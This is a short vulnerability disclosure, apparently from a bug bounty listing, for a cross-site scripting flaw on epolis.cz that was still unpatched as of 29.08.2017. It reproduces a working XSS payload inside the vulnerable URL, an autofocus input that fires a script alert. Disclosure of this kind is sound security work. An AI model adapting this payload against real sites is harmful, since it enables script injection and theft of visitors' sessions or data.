epolis.cz XSS vulnerability

Vulnerable URL: http://www.epolis.cz/page.php?location=1%3C!%27/!%22/!%27/%22/--!%3E%3CInput/Type=Text%20AutoFocus%20/;%20OnFocus=alert'OPENBUGBOUNTY'%20//%3E%3CSvg%3E=first=26 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 29.08.2017 Vulnerability type:| XSS...